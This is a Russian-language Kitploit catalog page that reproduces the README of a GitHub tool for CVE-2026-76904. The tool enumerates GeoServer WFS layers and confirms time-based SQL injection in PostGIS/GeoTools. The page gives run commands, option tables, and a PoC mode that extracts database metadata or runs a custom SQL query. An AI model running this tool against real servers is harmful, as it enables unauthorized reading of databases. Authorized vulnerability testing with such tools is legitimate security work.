Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-76904 — Python-скрипты для инвентаризации конечных точек GeoServer WFS и проверки уязвимостей time-based SQL-инъекций в PostGIS/GeoTools, с выделенным режимом PoC для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/bickzero93/cve-2026-76904
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

Python-скрипты для инвентаризации конечных точек GeoServer WFS и проверки уязвимостей time-based SQL-инъекций в PostGIS/GeoTools, с выделенным режимом PoC для авторизованного тестирования.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GeoServer WFS-инвентаризация и авторизованная проверка

Этот репозиторий содержит два Python-скрипта для исследования GeoServer-WFS-конечных точек.

Обзор

wfs_inventory.py

Назначение: Инвентаризация слоёв, XSD-полей и WFS-значений, а также опциональная проверка кандидатов с помощью проверки на основе времени.

Примеры запуска:

root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

Назначение: Комбинированная точка входа для инвентаризации, а также отдельный режим PoC.

Примеры запуска:

root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

Важное примечание: Проверка на основе времени и режим PoC должны использоваться только против систем, для которых имеется явное разрешение на тестирование. Обычный режим инвентаризации использует исключительно стандартные операции WFS.

Требования

  • Python 3.10 или новее
  • Дополнительные Python-пакеты не требуются; оба скрипта используют только стандартную библиотеку
  • Сетевой доступ к WFS-конечной точке

Опционально сделать исполняемыми:

root@kitploit:~
chmod +x wfs_inventory.py geoserver_sqli_working.py

Быстрый старт

Поиск кандидатов с помощью стандартных WFS-запросов

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

Стандартный путь /geoserver/wfs добавляется автоматически. Следующие указания эквивалентны:

root@kitploit:~
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

При нестандартной установке необходимо указать полный путь WFS.

Проверка кандидатов с помощью проверки на основе времени

Только для явно авторизованных систем:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

Во время проверки для каждого кандидата на stderr выводится измерение:

root@kitploit:~
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

Пройденный screen-тест ещё не является положительным результатом. Только если второе, более длительное измерение также проходит, выводится блок параметров.

Запись диагностики в файл

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE автоматически активирует подробную диагностику и записывает её в указанный файл.

Порядок работы авто-режима

Стандартный режим auto обрабатывает WFS-информацию в следующем порядке:

  1. GetCapabilities открывается один раз:

    root@kitploit:~
    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. XML-ответ обрабатывается потоково. Как только найден FeatureType/Name, определяется следующий typeName.

  3. Для этого слоя немедленно выполняется DescribeFeatureType с version=2.0.0.

  4. Скрипт извлекает XSD-элементы и выбирает строковые/JSON-поля с ID- или номероподобным именем.

  5. Кандидат проверяется в зависимости от вызова:

    • Без --sleep: выборочные значения должны быть синтаксически корректным JSON.
    • С --sleep N: измеряются контрольный запрос и проверочный запрос на основе времени. Проверка JSON-значений при этом пропускается.
  6. Результат немедленно выводится и сбрасывается (flush).

  7. Только после этого считывается следующий typeName из текущего GetCapabilities-ответа.

Благодаря этому большой GetCapabilities-ответ не нужно полностью обрабатывать до появления первого результата.

Критерии для полей-кандидатов

Без --sleep автоматический режим по умолчанию учитывает строковые/JSON-поля с ID- или номероподобным именем.

С --sleep режим --candidate-scope auto использует, наоборот, все простые негеометрические поля. XSD-тип и шаблон ID-имени больше не блокируют проверку времени. Это предотвращает ложные отрицательные результаты для числовых, дата/булевых или специфических для производителя XSD-типов.

Распознаваемые шаблоны имён включают:

root@kitploit:~
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

При проверке на основе времени имя поля дополнительно должно быть простым идентификатором в формате [A-Za-z_][A-Za-z0-9_]*.

Разница между JSON- и sleep-проверкой

Без --sleep проверяется, можно ли интерпретировать наблюдаемые значения синтаксически как JSON. Поэтому, например, строка "383205" также считается кандидатом, поскольку её содержимое представляет собой допустимое JSON-число. Эта проверка является эвристикой и не является доказательством уязвимости.

С --sleep 1 решает исключительно измерение времени. Кандидат по умолчанию считается положительным, если проверочный запрос по сравнению с контрольным требует дополнительно не менее 70 процентов запрошенного времени сна. --timing-result-type auto сначала проверяет resultType=hits, а при отрицательном результате затем resultType=results.

Предварительно положительные измерения обязательно подтверждаются более длительным временем сна. Без явного --confirm-sleep скрипт использует max(3, --sleep * 3), ограниченное 10 секундами. Благодаря этому единичный пик задержки при --sleep 1 больше не приводит к vulnerable=true.

Компактный вывод

Стандартный вывод содержит один блок на каждый допустимый слой:

root@kitploit:~
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN содержит нормализованную WFS-конечную точку и подходящие значения для --typename и --field_name.

--valid-fields N считает блоки слоёв, а не отдельные поля. Если существует меньше N допустимых слоёв, остальной каталог продолжает исследоваться. С помощью --max-layers можно ограничить максимальное время выполнения.

Подробная диагностика

Опции --diagnose или --valid-diagnose FILE дополняют вывод, среди прочего:

  • нормализованной WFS-конечной точкой,
  • используемым GetCapabilities-URL,
  • DescribeFeatureType-URL,
  • типами XSD-полей,
  • ID- и маркерами пригодности,
  • количеством проверенных выборок,
  • JSON-совместимостью или значениями измерения времени,
  • сгенерированным GetFeature-URL и
  • копируемыми строками параметров.

Пример:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

Дополнительные режимы инвентаризации

Перечислить все слои

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

Ограничить по namespace:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

Отобразить XSD-поля слоя

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

Каждое поле выводится как JSON-объект с именем, XSD-типом, nillable, id_candidate и usable_property.

Экспорт значений выбранных полей

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

Экспорт всех свойств:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100

С помощью --unique идентичные комбинации выбранных значений полей выводятся только один раз.

Параметры wfs_inventory.py

ПараметрПо умолчаниюНазначение
--url URLобязательноХост, база GeoServer или полная WFS-конечная точка
--mode auto|layers|fields|valuesautoВыполняемый режим работы
--layer NAMESPACE:LAYER–Ограничить авто-режим одним feature-type; обязательно для fields и values
--namespace PREFIX–Учитывать только слои с этим префиксом namespace
--capabilities-file FILE–Использовать локальный GetCapabilities-ответ вместо загрузки
--field NAMEповторяемыйЭкспортируемое свойство в режиме values
--all-propertiesвыклЭкспортировать все свойства в режиме values
--uniqueвыклПодавлять дублирующиеся комбинации значений полей
--page-size N500Функции на страницу GetFeature; диапазон от 1 до 5000
--sample-size N5Выборочные значения на слой для проверки синтаксиса JSON; диапазон от 1 до 100
--sleep SECONDS0Активировать проверку на основе времени; допустимы 0 или от 1 до 10 секунд
--candidate-scope auto|id|allautoВыбор кандидатов; auto использует без sleep ID-поля, а со sleep — все негеометрические поля
--timing-result-type auto|hits|resultsautoПуть запроса проверки времени; auto пробует hits, затем results
--sleep-threshold RATIO0.7

Комбинированная точка входа

geoserver_sqli_working.py может напрямую вызывать функцию инвентаризации. Как только указан --valid-fields, выполняется исключительно инвентаризация, после чего программа завершается.

Инвентаризация через комбинированный скрипт

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

При этом внутренне следующие параметры передаются в wfs_inventory.py:

root@kitploit:~
--target         -> --url
--valid-fields   -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep          -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep

Без явного --sleep проверка на основе времени в режиме инвентаризации остаётся отключённой.

Отдельный режим PoC

Только для явно авторизованных тестовых систем:

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST/geoserver/wfs \
  --typename namespace:layer \
  --field_name FIELD \
  --sleep 5

В режиме PoC целевой путь не нормализуется автоматически. Здесь следует указывать полную WFS-конечную точку.

Режим сначала выполняет базовый/sleep-тест, затем тестирует имеющиеся варианты oracle на основе времени и при успешном подтверждении по умолчанию считывает метаданные сервера/базы данных. С помощью --query вместо этого можно задать собственный скалярный запрос.

Режим PoC в настоящее время внутренне отключает проверку TLS-сертификата. Для чистой инвентаризации предпочтительно использовать wfs_inventory.py, поскольку там TLS проверяется по умолчанию.

Параметры geoserver_sqli_working.py

ПараметрПо умолчаниюНазначение
--target URLобязательноЦелевой хост или WFS-конечная точка; в режиме PoC использовать полный путь WFS
--typename NAMEfink_bku:fink_meta_mitte_suedwestFeature-type для режима PoC
--field_name NAMEобязательно в режиме PoCПростое имя XSD-поля для jsonArrayContains
--field-name NAMEалиасАлиас для --field_name
--valid-fields N–Активировать режим инвентаризации и остановиться после N допустимых слоёв
--valid-diagnose FILE–Записать подробный отчёт инвентаризации в FILE; требует --valid-fields
--sleep SECONDSPoC: 5, инвентаризация: выклДлительность сна соответствующего режима
--candidate-scope auto|id|allautoВыбор кандидатов в режиме инвентаризации
--timing-result-type auto|hits|resultsautoПуть запроса времени в режиме инвентаризации
--sleep-threshold RATIO0.7Порог времени в режиме инвентаризации
--confirm-sleep SECONDSавтоматическиПодтверждающий sleep в режиме инвентаризации
--query SQL–Собственный скалярный запрос в режиме PoC
--debugвыклОтображать условия, время выполнения и решения в режиме PoC

JSONL-отчёт

Авто-режим может создавать JSON Lines вместо текстовых блоков:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --report-format jsonl \
  --output report.jsonl

С --diagnose каждая запись дополнительно содержит URL, метаданные кандидатов, значения проверок и GetFeature-URL для конкретного поля.

Прокси и TLS

Использование прокси:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --valid-fields 4

Доверие собственному CA прокси:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --proxy-ca proxy-ca.pem \
  --valid-fields 4

Отключение проверки TLS для авторизованной тестовой системы:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --insecure \
  --valid-fields 4

--proxy-ca и --insecure нельзя использовать вместе.

Большие WFS-каталоги и производительность

При больших GetCapabilities-ответах помогают следующие опции:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --max-layers 100 \
  --sample-size 1 \
  --timeout 10 \
  --retries 0 \
  --delay 0

Примечания:

  • GetCapabilities запрашивается только один раз и затем обрабатывается потоково.
  • --valid-fields 4 завершает сканирование только после четырёх допустимых слоёв. Если совпадений меньше, поиск продолжается до конца или до --max-layers.
  • --sample-size 1 снижает затраты на JSON-эвристику.
  • В sleep-режиме JSON-выборка пропускается. На каждый путь запроса выполняется один контрольный и один проверочный запрос. При --timing-result-type auto после отрицательного результата hits дополнительно выполняются два results-запроса.
  • Предварительно положительный кандидат вызывает два дополнительных запроса для масштабированного подтверждения. Только после этого он считается уязвимым.
  • --candidate-scope id сокращает количество запросов времени, но может пропустить уязвимые поля с другими именами.
  • --namespace и --start-layer-index могут дополнительно ограничить область поиска.

Устранение неполадок

The read operation timed out

  • Увеличить --timeout, если сервер отвечает медленно.
  • Установить --retries 0, чтобы избежать длительных повторений.
  • Использовать --max-layers и --namespace.
  • Для JSON-эвристики использовать --sample-size 1.

Нет вывода

  • Без --sleep кандидаты должны пройти проверку XSD/имени и проверку синтаксиса JSON в зависимости от --candidate-scope.
  • С --sleep выводятся только подтверждённые по времени кандидаты в виде блока параметров; отрицательные измерения появляются как [sleep-check] на stderr.
  • Если совпадений меньше желаемого количества, сканирование может продолжаться долго. В этом случае установить --max-layers.

Cannot do natural order without a primary key

Для первой страницы GetFeature скрипт не отправляет startIndex=0, поскольку некоторые слои GeoServer/JDBC без первичного ключа уже из-за этого принудительно выполняют естественную сортировку. При экспорте дальнейших страниц такой слой всё же может потребовать первичный ключ или поддерживаемую сервером сортировку.

schema does not define ...Type

Скрипт учитывает как обычный <LayerName>Type, так и отличающийся, на который ссылается глобальный XSD-элемент слоя, или анонимный complexType. Если ошибка сохраняется, следует проверить соответствующий DescribeFeatureType-ответ с помощью --diagnose.

HTTP 400 при проверке выборки

Полное сообщение об ошибке OWS выводится на stderr. Частые причины — неподдерживаемые свойства, серверные настройки постраничного вывода или специфическая конфигурация источника данных слоя.

Справка прямо в терминале

root@kitploit:~
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
Скачать инструмент
Требуемая доля времени сна; диапазон от 0.5 до 1.0
--confirm-sleep SECONDS0/автоматическиПодтверждающий sleep; 0 использует минимум 3× первое время сна, диапазон от 1 до 10
--start-layer-index N0Пропустить первые N потоково обработанных слоёв
--max-layers N0Обработать максимум N слоёв; 0 означает без ограничений
--valid-fields N0Остановиться после N допустимых блоков слоёв; 0 означает без ограничений
--valid NалиасОбратно совместимый алиас для --valid-fields
--max-features N0Остановиться после N функций в режиме values; 0 означает без ограничений
--format jsonl|csv|textjsonlФормат вывода в режиме values
--output FILEstdoutЗаписать отчёт или значения в файл
--report-format blocks|jsonlblocksФормат авто-отчёта
--diagnoseвыклДополнить URL, типы, флаги выбора и статистику проверок
--valid-diagnose FILE–Активировать диагностику и записать непосредственно в FILE
--delay SECONDS0.1Пауза между шагами результата/проверки
--timeout SECONDS30Таймаут на каждый HTTP-запрос
--retries N2Повторения после таймаута или сетевой ошибки; диапазон от 0 до 10
--proxy URL–HTTP(S)-прокси, например http://127.0.0.1:8080
--proxy-ca FILE–PEM-CA-сертификат для доверия сертификату прокси
--insecureвыклОтключить проверку TLS-сертификата
--authorization TEXTI_AM_AUTHORIZEDПодтверждение безопасности; должно быть точно I_AM_AUTHORIZED